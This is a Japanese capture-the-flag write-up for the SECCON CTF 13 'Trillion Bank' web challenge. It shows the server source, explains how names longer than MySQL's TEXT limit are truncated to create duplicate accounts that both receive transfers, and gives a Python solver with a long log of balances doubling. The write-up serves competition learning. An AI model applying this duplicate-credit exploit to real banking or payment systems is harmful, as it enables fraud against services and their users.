SECCON CTF 13 Quals writeup

Writer:b1uef0x / Webページ建造途中

概要

チーム参加でWeb1問を解いた。ゲキムズ。

目次

Trillion Bank (Web:beginner)

Can you get over $1,000,000,000,000?

アカウントを作成して、他のアカウントに送金できるサービス。作成したアカウントはbalance:10からスタートする。balanceを1000000000000にできればflagが手に入る。

Trillion_Bank 問題ページ

サーバー側のコードは以下の通り。

index.jsimport fastify from "fastify";
import crypto from "node:crypto";
import fs from "node:fs/promises";
import db from "./db.js";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
const TRILLION = 1_000_000_000_000;

const app = fastify();

app.register(await import("@fastify/jwt"), {
  secret: crypto.randomBytes(32),
  cookie: { cookieName: "session" },
});
app.register(await import("@fastify/cookie"));

const names = new Set();

const auth = async (req, res) => {
  try {
    await req.jwtVerify();
  } catch {
    return res.status(401).send({ msg: "Unauthorized" });
  }
};

app.post("/api/register", async (req, res) => {
  const name = String(req.body.name);
  if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: "Invalid name" });
    return;
  }
  if (names.has(name)) {
    res.status(400).send({ msg: "Already exists" });
    return;
  }
  names.add(name);

  const [result] = await db.query("INSERT INTO users SET ?", {
    name,
    balance: 10,
  });
  res
    .setCookie("session", await res.jwtSign({ id: result.insertId }))
    .send({ msg: "Succeeded" });
});

app.get("/api/me", { onRequest: auth }, async (req, res) => {
  try {
    const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]);
    req.user.balance = balance;
  } catch (err) {
    return res.status(500).send({ msg: err.message });
  }
  if (req.user.balance >= TRILLION) {
    req.user.flag = FLAG; // ??
  }
  res.send(req.user);
});

app.post("/api/transfer", { onRequest: auth }, async (req, res) => {
  const recipientName = String(req.body.recipientName);
  if (!names.has(recipientName)) {
    res.status(404).send({ msg: "Not found" });
    return;
  }

  const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]);
  if (id === req.user.id) {
    res.status(400).send({ msg: "Self-transfer is not allowed" });
    return;
  }

  const amount = parseInt(req.body.amount);
  if (!isFinite(amount) || amount <= 0) {
    res.status(400).send({ msg: "Invalid amount" });
    return;
  }

  const conn = await db.getConnection();
  try {
    await conn.beginTransaction();

    const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
      req.user.id,
    ]);
    if (amount > balance) {
      throw new Error("Invalid amount");
    }

    await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
      amount,
      req.user.id,
    ]);
    await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
      amount,
      recipientName,
    ]);

    await conn.commit();
  } catch (err) {
    await conn.rollback();
    return res.status(500).send({ msg: err.message });
  } finally {
    db.releaseConnection(conn);
  }

  res.send({ msg: "Succeeded" });
});

app.get("/", async (req, res) => {
  const html = await fs.readFile("index.html");
  res.type("text/html; charset=utf-8").send(html);
});

app.listen({ port: 3000, host: "0.0.0.0" });
db.jsimport { setTimeout as sleep } from "node:timers/promises";
import mysql from "mysql2/promise";

const db = mysql.createPool({
  host: process.env.MYSQL_HOST,
  user: process.env.MYSQL_USER,
  password: process.env.MYSQL_PASSWORD,
  database: process.env.MYSQL_DATABASE,
  connectionLimit: 10,
});

for (let i = 0; i < 100; i++) {
  console.debug(`[debug] DB: ${i}`);
  try {
    await db.query("SELECT 1");
    console.debug("[debug] DB: connected");
    break;
  } catch {
    await sleep(1000);
  }
}

try {
  await db.query("DROP TABLE IF EXISTS users");
  await db.query(
    `
    CREATE TABLE users (
      id INT AUTO_INCREMENT NOT NULL,
      name TEXT NOT NULL,
      balance BIGINT NOT NULL,
      PRIMARY KEY (id)
    )
  `.trim()
  );
  console.debug("[debug] DB: initialized");
} catch (err) {
  console.error(err);
  process.exit(1);
}

export default db;

index.js内のapi/transfer内の送金を行うSQL構文がいかにも怪しい。

    await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
      amount,
      req.user.id,
    ]);
    await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
      amount,
      recipientName,
    ]);

index.jsにおいて、送信側は一意のidでデータベースを指定しているが、受信側はnameで指定しているので、同じnameでデータベースに登録できれば二重送金ができる。

      app.post("/api/register", async (req, res) => {
  const name = String(req.body.name);
  if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: "Invalid name" });
    return;
  }
  if (names.has(name)) {
    res.status(400).send({ msg: "Already exists" });
    return;
  }
  names.add(name);

  const [result] = await db.query("INSERT INTO users SET ?", {
    name,
    balance: 10,
  });
  res
    .setCookie("session", await res.jwtSign({ id: result.insertId }))
    .send({ msg: "Succeeded" });
});

登録者の重複確認はデータベースではなく、index.jsで管理している。上手くレースコンディションを起こせないか試したが上手く行かなかった。

処理落ちさせるために10万文字ぐらいのnameで動作させていたところ、65536文字以上でtransfer処理が落ちることがわかった。

Response (Status: 500):{'statusCode': 500, 'error': 'Internal Server Error', 'message': "Cannot read properties of undefined (reading 'id')"}

db.jsでは、nameカラムをTEXTで作成している。

        await db.query(
    `
    CREATE TABLE users (
      id INT AUTO_INCREMENT NOT NULL,
      name TEXT NOT NULL,
      balance BIGINT NOT NULL,
      PRIMARY KEY (id)
    )
  `.trim()
  );

TEXTの最大文字数は65535文字なので、それ以上大きなnameは登録時にカットされる。今回の場合、registerでは65535文字にカットされて登録されるが、transferでSQLクエリを投げるとnameがヒットせずidが空になり、500エラーになったと考えられる。

したがって、65536文字以上の名前を使用すれば、データベースに同じnameを持つデータを複数登録しつつ、index.js側では異なるnameと識別させることができる。

  1. 65535文字のnameを持つアカウントA、アカウントAの名前を1文字伸ばした65536文字のアカウントB、適当なアカウントCを作る
  2. アカウントAとアカウントBは、index.js上のnamesでは区別されるが、MySQL上では共にアカウントAのnameで登録される
  3. 次の操作をbalanceが1000000000000以上になるまで繰り返す
    1. アカウントCからアカウントAに送金、アカウントAとアカウントBの両方のbalanceが増える
    2. アカウントAからアカウントCに送金、アカウントCのbalanceが元に戻る
    3. アカウントBからアカウントCに送金、アカウントCのbalanceが2倍になる

次のソルバーを作成。

import requests
import json
import random
import string


def getname(x):
        return ''.join(random.choices(string.ascii_lowercase, k=x))

def post_data(session, url, payload):
    with session.post(url, json=payload) as response:
        r_status = response.status_code
        r_data = response.json()
        return r_status, r_data

def get_data(session, url):
    with session.get(url) as response:
        r_status = response.status_code
        r_data = response.json()
        return r_status, r_data

basename = getname(65535)
#       A         B            C
ac = [basename,basename+"a",getname(10)]
se = [requests.Session(),requests.Session(),requests.Session()]
ba = [10,10,10]

#register
for i in range(3):
        r_status, r_data = post_data(se[i],"http://trillion.seccon.games:3000/api/register",{"name":ac[i]})
        print(f"Response (Status: {r_status}):{r_data}")
        print(len(ac[i]))

#me
for i in range(3):
        r_status, r_data = get_data(se[i], "http://trillion.seccon.games:3000/api/me")
        print(f"Response (Status: {r_status}):{r_data}")

#loop
for i in range(1000):
        
        #transfer C->A
        r_status, r_data = post_data(se[2],"http://trillion.seccon.games:3000/api/transfer",{"recipientName":ac[0],"amount":(ba[2])})
        print(f"Response (Status: {r_status}):{r_data}")
        
        #transfer A->C, B->C
        r_status, r_data = post_data(se[0],"http://trillion.seccon.games:3000/api/transfer",{"recipientName":ac[2],"amount":ba[0]})
        print(f"Response (Status: {r_status}):{r_data}")
        r_status, r_data = post_data(se[1],"http://trillion.seccon.games:3000/api/transfer",{"recipientName":ac[2],"amount":ba[1]})
        print(f"Response (Status: {r_status}):{r_data}")
        
        #balance check
        for i in range(3):
                r_status, r_data = get_data(se[i], "http://trillion.seccon.games:3000/api/me")
                print(f"Response (Status: {r_status}):{r_data}")
                ba[i] = r_data["balance"]
        print(ba)
        
        #Trillion
        if ba[1]>1000000000000 :
                break

writeupの紙面が余りまくってるので全実行結果

esponse (Status: 200):{'msg': 'Succeeded'}
65535
Response (Status: 200):{'msg': 'Succeeded'}
65536
Response (Status: 200):{'msg': 'Succeeded'}
10
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 10}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 10}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 10}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 10}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 10}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 20}
[10, 10, 20]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 20}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 20}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 20}
[20, 20, 20]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 20}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 20}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 40}
[20, 20, 40]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 40}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 40}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 40}
[40, 40, 40]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 40}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 40}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 80}
[40, 40, 80]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 80}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 80}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 80}
[80, 80, 80]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 80}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 80}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 160}
[80, 80, 160]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 160}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 160}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 160}
[160, 160, 160]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 160}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 160}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 320}
[160, 160, 320]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 320}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 320}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 320}
[320, 320, 320]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 320}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 320}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 640}
[320, 320, 640]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 640}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 640}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 640}
[640, 640, 640]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 640}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 640}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 1280}
[640, 640, 1280]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 1280}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 1280}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 1280}
[1280, 1280, 1280]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 1280}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 1280}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 2560}
[1280, 1280, 2560]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 2560}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 2560}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 2560}
[2560, 2560, 2560]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 2560}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 2560}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 5120}
[2560, 2560, 5120]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 5120}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 5120}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 5120}
[5120, 5120, 5120]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 5120}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 5120}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 10240}
[5120, 5120, 10240]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 10240}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 10240}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 10240}
[10240, 10240, 10240]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 10240}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 10240}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 20480}
[10240, 10240, 20480]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 20480}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 20480}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 20480}
[20480, 20480, 20480]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 20480}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 20480}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 40960}
[20480, 20480, 40960]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 40960}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 40960}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 40960}
[40960, 40960, 40960]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 40960}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 40960}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 81920}
[40960, 40960, 81920]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 81920}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 81920}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 81920}
[81920, 81920, 81920]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 81920}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 81920}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 163840}
[81920, 81920, 163840]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 163840}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 163840}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 163840}
[163840, 163840, 163840]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 163840}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 163840}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 327680}
[163840, 163840, 327680]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 327680}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 327680}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 327680}
[327680, 327680, 327680]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 327680}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 327680}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 655360}
[327680, 327680, 655360]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 655360}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 655360}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 655360}
[655360, 655360, 655360]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 655360}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 655360}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 1310720}
[655360, 655360, 1310720]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 1310720}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 1310720}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 1310720}
[1310720, 1310720, 1310720]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 1310720}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 1310720}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 2621440}
[1310720, 1310720, 2621440]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 2621440}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 2621440}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 2621440}
[2621440, 2621440, 2621440]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 2621440}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 2621440}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 5242880}
[2621440, 2621440, 5242880]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 5242880}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 5242880}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 5242880}
[5242880, 5242880, 5242880]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 5242880}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 5242880}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 10485760}
[5242880, 5242880, 10485760]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 10485760}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 10485760}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 10485760}
[10485760, 10485760, 10485760]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 10485760}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 10485760}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 20971520}
[10485760, 10485760, 20971520]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 20971520}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 20971520}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 20971520}
[20971520, 20971520, 20971520]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 20971520}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 20971520}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 41943040}
[20971520, 20971520, 41943040]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 41943040}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 41943040}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 41943040}
[41943040, 41943040, 41943040]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 41943040}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 41943040}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 83886080}
[41943040, 41943040, 83886080]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 83886080}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 83886080}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 83886080}
[83886080, 83886080, 83886080]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 83886080}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 83886080}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 167772160}
[83886080, 83886080, 167772160]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 167772160}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 167772160}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 167772160}
[167772160, 167772160, 167772160]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 167772160}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 167772160}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 335544320}
[167772160, 167772160, 335544320]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 335544320}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 335544320}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 335544320}
[335544320, 335544320, 335544320]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 335544320}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 335544320}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 671088640}
[335544320, 335544320, 671088640]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 671088640}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 671088640}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 671088640}
[671088640, 671088640, 671088640]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 671088640}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 671088640}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 1342177280}
[671088640, 671088640, 1342177280]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 1342177280}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 1342177280}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 1342177280}
[1342177280, 1342177280, 1342177280]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 1342177280}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 1342177280}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 2684354560}
[1342177280, 1342177280, 2684354560]
Response (Status: 200):{'msg': 'Succeeded'}
